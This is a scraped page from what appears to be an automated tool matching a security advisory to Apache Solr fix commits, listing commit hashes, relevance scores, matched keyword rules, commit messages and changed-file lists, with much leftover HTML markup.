solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-17120: handle null value when merging partials (backport of... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 24 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 78e618444690b9ddf285e416d8045a11dceb711b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/update/UpdateLog.java
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: value, user
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-17120
      -
    • - -
    • -
      The commit message references some github issue: 2214, 2683
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-17120: handle null value when merging partials (backport of solr#2214) (#2683) * SOLR-17120 handle null value when merging partials - this change avoids a `NullPointerException` that can occur under some circumstances when performing multiple partial updates of the same document Co-authored-by: Calvin Smith <eukaryote@users.noreply.github.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/update/UpdateLog.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16451: Don't fetch the PRS states while registering the... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 24 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 49fd000432e7cbe62551141e474b4bec3243fe39 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: read
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16451
      -
    • - -
    • -
      The commit message references some github issue: 1057
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16451: Don't fetch the PRS states while registering the collection watch closes #1057
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16110: Using Schema/Config API breaks the File-Upload of Config... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 24 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7bd8229f4db031f81b84e15881a483244967a8e1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: This, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16110 contains some security-related terms: security
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16110
      -
    • - -
    • -
      The commit message references some github issue: 831
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16110: Using Schema/Config API breaks the File-Upload of Config Set File (#831) Co-authored-by: Steffen Moldenhauer <s.moldenhauer@intershop.de>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/cloud/ZkController.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16165: Rare deadlock in SlotAcc initialization (#819) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 24 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 89fb1eef03da0a4fec2699a1ba17e6e78402ac28 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: This
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/search/facet/Constants.java, solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java, solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16165 contains some security-related terms: vulnerable
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16165
      -
    • - -
    • -
      The commit message references some github issue: 819
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16165: Rare deadlock in SlotAcc initialization (#819)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/search/facet/Constants.java - - solr/core/src/java/org/apache/solr/search/facet/FacetFieldProcessorByArray.java - - solr/core/src/java/org/apache/solr/search/facet/SlotAcc.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-16781: Making tests pass - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 22 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - SEC_KEYWORDS_IN_LINKED_BUG - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - eff22ac1afbb16ba614bfcd190ba122b061ccdf2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/core/SolrConfig.java
      -
    • - -
    • -
      The bug tracking ticket SOLR-16781 contains some security-related terms: secure, security, rce
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-16781
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-16781: Making tests pass
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/core/SolrConfig.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-15694, 15715: Node roles and dedicated query coordinator nodes - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 22 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2da4332072ffffb0581ef60d11de5b0d157452ac -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler, read, request, actor, clouds
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-15694
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-15694, 15715: Node roles and dedicated query coordinator nodes
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java - - solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java - - solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java - - solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java - - solr/core/src/java/org/apache/solr/core/CoreContainer.java - - solr/core/src/java/org/apache/solr/core/NodeRoles.java - - solr/core/src/java/org/apache/solr/handler/ClusterAPI.java - - solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java - - solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java - - solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java - - solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java - - solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java - - solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java - - solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java - - solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java - - solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java - - solr/core/src/java/org/apache/solr/request/SimpleFacets.java - - solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java - - solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java - - solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java - - solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java - - solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java - - solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java - - solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java - - solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java - - solr/core/src/java/org/apache/solr/update/UpdateLog.java - - solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java - - solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java - - solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml - - solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml - - solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml - - solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml - - solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java - - solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java - - solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java - - solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 22 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 2088d743db9304492ab19c14bc80c6187f172b79 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: This, ZooKeeper, SolrCloud, Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java, solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java, solr/core/src/java/org/apache/solr/request/SimpleFacets.java, solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml, solr/core/src/java/org/apache/solr/handler/ClusterAPI.java, solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java, solr/core/src/java/org/apache/solr/core/CoreContainer.java, solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java, solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java, solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java, solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java, solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java, solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java, solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java, solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java, solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java, solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java, solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java, solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java, solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java, solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java, solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java, solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java, solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml, solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java, solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java, solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java, solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml, solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java, solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java, solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java, solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java, solr/core/src/java/org/apache/solr/core/NodeRoles.java, solr/core/src/java/org/apache/solr/update/UpdateLog.java, solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java, solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml, solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java, solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler, read, request, actor, clouds
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-15694, SOLR-15715
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-15694, SOLR-15715: Node roles and dedicated query coordinator nodes Co-authored-by: Noble Paul <noble@apache.org>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/contrib/analytics/src/java/org/apache/solr/handler/component/AnalyticsComponent.java - - solr/contrib/ltr/src/java/org/apache/solr/ltr/response/transform/LTRFeatureLoggerTransformerFactory.java - - solr/contrib/ltr/src/java/org/apache/solr/ltr/search/LTRQParserPlugin.java - - solr/core/src/java/org/apache/solr/api/CoordinatorV2HttpSolrCall.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/Assign.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/CategoryRoutedAlias.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/CreateCollectionCmd.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/RestoreCmd.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/RoutedAlias.java - - solr/core/src/java/org/apache/solr/cloud/api/collections/TimeRoutedAlias.java - - solr/core/src/java/org/apache/solr/core/CoreContainer.java - - solr/core/src/java/org/apache/solr/core/NodeRoles.java - - solr/core/src/java/org/apache/solr/handler/ClusterAPI.java - - solr/core/src/java/org/apache/solr/handler/RequestHandlerBase.java - - solr/core/src/java/org/apache/solr/handler/SolrConfigHandler.java - - solr/core/src/java/org/apache/solr/handler/admin/ShowFileRequestHandler.java - - solr/core/src/java/org/apache/solr/handler/component/HttpShardHandler.java - - solr/core/src/java/org/apache/solr/handler/component/HttpShardHandlerFactory.java - - solr/core/src/java/org/apache/solr/handler/component/QueryComponent.java - - solr/core/src/java/org/apache/solr/handler/component/RealTimeGetComponent.java - - solr/core/src/java/org/apache/solr/handler/component/SearchHandler.java - - solr/core/src/java/org/apache/solr/request/DelegatingSolrQueryRequest.java - - solr/core/src/java/org/apache/solr/request/SimpleFacets.java - - solr/core/src/java/org/apache/solr/request/SolrQueryRequest.java - - solr/core/src/java/org/apache/solr/response/transform/CoreAugmenterFactory.java - - solr/core/src/java/org/apache/solr/response/transform/TransformerFactory.java - - solr/core/src/java/org/apache/solr/search/JoinQParserPlugin.java - - solr/core/src/java/org/apache/solr/search/join/ScoreJoinQParserPlugin.java - - solr/core/src/java/org/apache/solr/servlet/CoordinatorHttpSolrCall.java - - solr/core/src/java/org/apache/solr/servlet/HttpSolrCall.java - - solr/core/src/java/org/apache/solr/servlet/SolrDispatchFilter.java - - solr/core/src/java/org/apache/solr/update/UpdateLog.java - - solr/core/src/java/org/apache/solr/update/processor/DistributedUpdateProcessorFactory.java - - solr/core/src/java/org/apache/solr/update/processor/RoutedAliasUpdateProcessor.java - - solr/core/src/test-files/solr/configsets/cache-control/conf/schema.xml - - solr/core/src/test-files/solr/configsets/cache-control/conf/solrconfig.xml - - solr/core/src/test-files/solr/configsets/conf3/conf/schema.xml - - solr/core/src/test-files/solr/configsets/conf3/conf/solrconfig.xml - - solr/solrj/src/java/org/apache/solr/client/solrj/SolrRequest.java - - solr/solrj/src/java/org/apache/solr/client/solrj/impl/BaseCloudSolrClient.java - - solr/solrj/src/java/org/apache/solr/common/cloud/ZkStateReader.java - - solr/test-framework/src/java/org/apache/solr/SolrTestCaseJ4.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove unused import, thereby fixing Eclipse import error - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 20 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3b395d90e5fd6604afb27da4777fd9d1c347c48d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: handler
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove unused import, thereby fixing Eclipse import error
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/handler/designer/SampleDocumentsLoader.java - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-15694, 15715: Create ephemeral roles properly (missed... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 20 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_CODE - - CHANGES_RELEVANT_FILES - - COMMIT_HAS_TWINS - - BUG_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ace7641edb762d31519df1db845885dfd31caee4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit modifies code containing relevant filename or methods: Solr
      -
    • - -
    • -
      The commit changes some relevant files: solr/core/src/java/org/apache/solr/cloud/ZkController.java
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-15694
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-15694, 15715: Create ephemeral roles properly (missed backporting these changes last time)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - solr/core/src/java/org/apache/solr/cloud/ZkController.java - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - SOLR-17025: Upgrade Jetty to 9.4.53.v20231009 (#2680) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 20 -
    - -
    -
    -
    - - Tag: releases/lucene-solr/8.11.3 -
    -
    -
    -
    -
    - - - - CHANGES_RELEVANT_FILES - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - BUG_IN_MESSAGE - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e7560cd2ab024d4315933cd3965aab2961bba994 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit changes some relevant files: solr/licenses/jetty-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-security-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-xml-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.48.v20220622.jar.sha1, solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-io-9.4.48.v20220622.jar.sha1, solr/licenses/http2-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1, solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-security-9.4.53.v20231009.jar.sha1, solr/licenses/start.jar.sha1, solr/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-rewrite-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1, solr/licenses/http2-client-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-webapp-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-deploy-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1, solr/licenses/http2-common-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-xml-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-jmx-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-http-9.4.53.v20231009.jar.sha1, solr/licenses/http2-server-9.4.53.v20231009.jar.sha1, solr/licenses/http2-common-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-jmx-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-util-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-webapp-9.4.48.v20220622.jar.sha1, solr/licenses/jetty-io-9.4.53.v20231009.jar.sha1, solr/licenses/jetty-servlets-9.4.48.v20220622.jar.sha1
      -
    • - -
    • -
      The commit message and the advisory description contain the following keywords: upgrade
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: version, server
      -
    • - -
    • -
      The commit message references some bug tracking ticket: SOLR-17025
      -
    • - -
    • -
      The commit message references some github issue: 2680
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      SOLR-17025: Upgrade Jetty to 9.4.53.v20231009 (#2680)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - lucene/ivy-versions.properties - - lucene/licenses/jetty-continuation-9.4.48.v20220622.jar.sha1 - - lucene/licenses/jetty-continuation-9.4.53.v20231009.jar.sha1 - - lucene/licenses/jetty-http-9.4.48.v20220622.jar.sha1 - - lucene/licenses/jetty-http-9.4.53.v20231009.jar.sha1 - - lucene/licenses/jetty-io-9.4.48.v20220622.jar.sha1 - - lucene/licenses/jetty-io-9.4.53.v20231009.jar.sha1 - - lucene/licenses/jetty-server-9.4.48.v20220622.jar.sha1 - - lucene/licenses/jetty-server-9.4.53.v20231009.jar.sha1 - - lucene/licenses/jetty-servlet-9.4.48.v20220622.jar.sha1 - - lucene/licenses/jetty-servlet-9.4.53.v20231009.jar.sha1 - - lucene/licenses/jetty-util-9.4.48.v20220622.jar.sha1 - - lucene/licenses/jetty-util-9.4.53.v20231009.jar.sha1 - - solr/licenses/http2-client-9.4.48.v20220622.jar.sha1 - - solr/licenses/http2-client-9.4.53.v20231009.jar.sha1 - - solr/licenses/http2-common-9.4.48.v20220622.jar.sha1 - - solr/licenses/http2-common-9.4.53.v20231009.jar.sha1 - - solr/licenses/http2-hpack-9.4.48.v20220622.jar.sha1 - - solr/licenses/http2-hpack-9.4.53.v20231009.jar.sha1 - - solr/licenses/http2-http-client-transport-9.4.48.v20220622.jar.sha1 - - solr/licenses/http2-http-client-transport-9.4.53.v20231009.jar.sha1 - - solr/licenses/http2-server-9.4.48.v20220622.jar.sha1 - - solr/licenses/http2-server-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-alpn-client-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-alpn-client-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-alpn-java-client-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-alpn-java-client-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-alpn-java-server-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-alpn-java-server-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-alpn-server-9.4.48.v20220622.jar.sha1 - - solr/licenses/jetty-alpn-server-9.4.53.v20231009.jar.sha1 - - solr/licenses/jetty-client-9.4.48.v20220622.jar.sha1 - - 